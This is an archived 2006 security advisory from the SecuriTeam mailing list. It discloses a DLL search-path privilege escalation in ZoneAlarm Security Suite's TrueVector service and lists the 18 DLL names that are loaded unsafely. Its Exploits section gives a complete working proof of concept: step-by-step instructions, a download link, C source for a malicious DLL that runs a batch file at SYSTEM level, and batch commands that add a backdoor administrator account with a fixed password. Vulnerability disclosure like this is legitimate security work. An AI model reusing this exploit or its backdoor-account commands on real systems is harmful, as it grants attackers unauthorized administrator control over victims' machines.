

# [NT] 18 Ways to Escalate Privileges in Zone Labs ZoneAlarm Security Suite

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00026.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 9 Mar 2006 10:28:40 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

18 Ways to Escalate Privileges in Zone Labs ZoneAlarm Security Suite

---

## SUMMARY

Zone Labs ZoneAlarm Security Suite is "an easy-to-use, comprehensive protection against hackers, spyware, worms, identity thieves, spam, and much more". A locally exploitable security vulnerability in ZoneAlarm Security Suite allows normal users to elevate their privileges.

## DETAILS

Vulnerable Versions:

\* Zone Labs ZoneAlarm Security Suite build 6.1.744.000

During Windows startup the TrueVector service (vsmon.exe – an integral piece of most Zone Labs products) is set to startup automatically. The TrueVector service runs under the context of the Local System account. During its startup process it attempts to load several DLLs (that are listed below).

- VSUTIL\_Loc0409\_Oem8701.dll
- VSUTIL\_Oem8701.dll
- VSUTIL\_Loc0409.dll

## [NT] 18 Ways to Escalate Privileges in Zone Labs ZoneAlarm Security Suite

- vsmon\_Loc0409\_Oem8701.dll
- vsmon\_Oem8701.dll
- vsmon\_Loc0409.dll
- VSRULEDB\_Loc0409\_Oem8701.dll
- VSRULEDB\_Oem8701.dll
- VSRULEDB\_Loc0409.dll
- av\_Loc0409\_Oem8701.dll
- av\_Oem8701.dll
- av\_Loc0409.dll
- zlquarantine\_Loc0409\_Oem8701.dll
- zlquarantine\_Oem8701.dll
- zlquarantine\_Loc0409.dll
- zlsre\_Loc0409\_Oem8701.dll
- zlsre\_Oem8701.dll
- zlsre\_Loc0409.dll

It appears that instead of using the full path to the DLL during the load process only the name of the DLL is used. This causes several instances of Windows PATH trolling (where Windows tries to locate the DLL in the directories listed in its PATH environment variable on behalf of the vsmon.exe process). This PATH trolling is what makes the vsmon.exe process vulnerable to several privilege escalation techniques. Below is the output from a Filemon capture of the TrueVector service startup process (edited for brevity). Please note that I have ActiveState's ActivePerl installed so C:\Perl\bin is included in my PATH.

```
vsmon.exe QUERY INFORMATION C:\Perl\bin\VSUTIL_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\VSUTIL_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\VSUTIL_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\vsmon_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\vsmon_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\vsmon_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\VSRULEDB_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\VSRULEDB_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\VSRULEDB_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\av_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\av_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\av_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\zlquarantine_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\zlquarantine_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\zlquarantine_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\zlsre_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\zlsre_Oem8701.dll NOT FOUND
```

## [NT] 18 Ways to Escalate Privileges in Zone Labs ZoneAlarm Security Suite

vsmon.exe QUERY INFORMATION C:\Perl\bin\zlsre\_Loc0409.dll NOT FOUND

### Exploitation Requirements:

First of all, you will need to have a directory that is writeable to a lower level user, that is included in the Windows PATH environment variable. As you saw above, Reed had ActiveState's ActivePerl installed and it worked just fine.

Secondly, verify that the path you have chosen is definitely writeable to a lower level user. On Windows 2000 operating systems the default permissions for the root of the partition where the operating system is installed is set as Everyone/Full Control. So, by default, C:\Perl\bin is set to Everyone/Full Control. On Windows 2000 operating systems a guest account can be used during the exploitation process. On Windows XP, the C:\Perl\bin folder has special permissions set (by default) for the local Users group that allows the creation and modification of new files and folders. Perfect, that is all that is needed. On Windows XP, an account in the local Users group can be used during the exploitation process.

### Patches/Workarounds:

The vendor was notified several times but there was no response. The initial notification was sent on 12.20.05. Two follow-up notifications were sent afterward.

### Exploits:

1. Download <<http://reedarvin.thearvins.com/tools/magic.zip>> <http://reedarvin.thearvins.com/tools/magic.zip> or compile your own using the source code below.
2. Extract the magic.dll and magic.bat files.
3. Rename the magic.dll file to any of the 18 different file names listed above. In this example Reed will use VSUTIL\_Loc0409\_Oem8701.dll.
4. Copy the VSUTIL\_Loc0409\_Oem8701.dll and magic.bat files to your chosen directory listed in the Windows PATH environment variable.
5. Restart the machine.
6. When the TrueVector service starts up it will create a new user account named Magic with a password of M@g1c\$\$ and add it to the local Administrators group.

```
// ===== Start Magic.c =====  
// Build Instructions  
//  
// gcc -c -DBUILD_DLL magic.c  
// gcc -shared -o magic.dll -Wl,--out-implib,libkernel32.a magic.o  
  
#include <windows.h>
```

## [NT] 18 Ways to Escalate Privileges in Zone Labs ZoneAlarm Security Suite

```
VOID RunMagicBatFile( VOID );

BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID
lpvReserved )
{
    BOOLEAN bSuccess = TRUE;

    switch ( fdwReason )
    {
    case DLL_PROCESS_ATTACH:
        RunMagicBatFile();

        break;

    case DLL_THREAD_ATTACH:

        break;

    case DLL_THREAD_DETACH:

        break;

    case DLL_PROCESS_DETACH:

        break;
    }

    return bSuccess;
}

VOID RunMagicBatFile()
{
    TCHAR szWinDir[ _MAX_PATH ];
    TCHAR szCmdLine[ _MAX_PATH ];

    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );

    wsprintf( szCmdLine, "%s\\system32\\cmd.exe /c magic.bat",
szWinDir );

    ZeroMemory( &si, sizeof( si ) );

    si.cb = sizeof( si );

    ZeroMemory( &pi, sizeof( pi ) );

    CreateProcess( NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL,
&si, &pi );
}
```

[NT] 18 Ways to Escalate Privileges in Zone Labs ZoneAlarm Security Suite

```
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
}
// ===== End Magic.c =====

// ===== Start Magic.bat =====
net user Magic M@g1c$$ /add
net localgroup Administrators Magic /add
// ===== End Magic.bat =====
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:reedarvin@xxxxxxxx>> Reed Arvin.

The original article can be found at:

<<http://reedarvin.thearvins.com/20060308-01.html>>

<http://reedarvin.thearvins.com/20060308-01.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.